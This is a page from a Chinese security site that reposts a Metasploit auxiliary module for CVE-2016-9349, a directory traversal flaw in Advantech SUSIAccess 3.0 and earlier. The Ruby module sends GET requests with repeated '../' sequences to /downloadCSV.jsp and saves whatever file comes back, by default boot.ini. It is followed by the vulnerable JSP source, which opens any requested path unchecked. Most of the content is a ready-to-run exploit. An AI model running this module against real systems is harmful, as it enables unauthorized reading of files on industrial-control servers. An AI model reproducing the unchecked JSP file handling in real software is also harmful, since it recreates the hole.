首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Advantech SUSIAccess <= 3.0 - Directory Traversal / Information Disclosure (Meta
来源:metasploit.com 作者:Fitts 发布时间:2017-08-02  
require 'msf/core'
 
class MetasploitModule < Msf::Auxiliary
    Rank = GreatRanking
 
    include Msf::Exploit::Remote::HttpClient
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Advantech SUSIAccess Server Directory Traversal Information Disclosure',
            'Description'    => %q{
                This module exploits an information disclosure vulnerability found in
                Advantech SUSIAccess <= version 3.0. The vulnerability is triggered when
                sending a GET request to the server with a series of dot dot slashes (../)
                in the file parameter.
            },
            'Author'         => [ 'james fitts' ],
            'License'        => MSF_LICENSE,
            'References'     =>
                [
                    [ 'CVE', '2016-9349' ],
                    [ 'ZDI', '16-628' ],
                    [ 'BID', '94629' ],
                    [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-336-04' ]
                ],
            'DisclosureDate' => 'Dec 13 2016'))
 
        register_options(
            [
                OptInt.new('DEPTH', [ false, 'Levels to reach base directory', 10]),
                OptString.new('FILE', [ false, 'This is the file to download', 'boot.ini']),
                Opt::RPORT(8080)
            ], self.class )
    end
 
    def run
 
    depth = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']
    levels = "/" + ("../" * depth)
 
    file = "#{levels}#{datastore['FILE']}"
    file = file.gsub(/ /, "%20")
 
    res = send_request_raw({
        'method'    => 'GET',
        'uri'       => "/downloadCSV.jsp?file=#{file}",
    })
 
    if res and res.code == 200
        loot = res.body
        if not loot or loot.empty?
            print_status("File from #{rhost}:#{rport} is empty...")
            return
        end
        file = ::File.basename(datastore['FILE'])
        path = store_loot('advantech_susiaccess.file', 'application/octet-stream', rhost, loot, file, datastore['FILE'])
        print_status("Stored #{datastore['FILE']} to #{path}")
        return
    else
        print_error("Something went wrong... Application returned a #{res.code}")
    end
 
    end
end
__END__
<%@ page import="java.util.*,java.io.*" %>              
<%
 File f = new File (getServletContext().getRealPath("/") + request.getParameter("file") );
 //set the content type(can be excel/word/powerpoint etc..)
 response.setContentType ("application/csv");
 //set the header and also the Name by which user will be prompted to save
 response.setHeader ("Content-Disposition", "attachment; filename=\""+request.getParameter("file").split("/")[2] +"\"");
 
 //get the file name
 String name = f.getName().substring(f.getName().lastIndexOf("/") + 1,f.getName().length());
 //OPen an input stream to the file and post the file contents thru the
 //servlet output stream to the client m/c
 
  InputStream in = new FileInputStream(f);
  ServletOutputStream outs = response.getOutputStream();
  
  
  int bit = 256;
  int i = 0;
  try {
   while ((bit) >= 0) {
    bit = in.read();
    outs.write(bit);
   }
   //System.out.println("" +bit);
  } catch (IOException ioe) {
   ioe.printStackTrace(System.out);
  }
//  System.out.println( "n" + i + " bytes sent.");
//  System.out.println( "n" + f.length() + " bytes sent.");
  outs.flush();
  outs.close();
  in.close();
 
%>
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·DiskBoss Enterprise 8.2.14 - B
·Advantech SUSIAccess <= 3.0 -
·Jenkins < 1.650 - Java Deseria
·Microsoft Windows LNK Shortcut
·Bittorrent 7.10.0 (Build 43581
·Nitro Pro PDF Reader 11.0.3.17
·GitHub Enterprise < 2.8.7 - Re
·Solarwinds Kiwi Syslog 9.6.1.6
·AudioCoder 0.8.46 - Local Buff
·Hashicorp vagrant-vmware-fusio
·MediaCoder 0.8.48.5888 - Local
·SMBLoris Denial Of Service
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved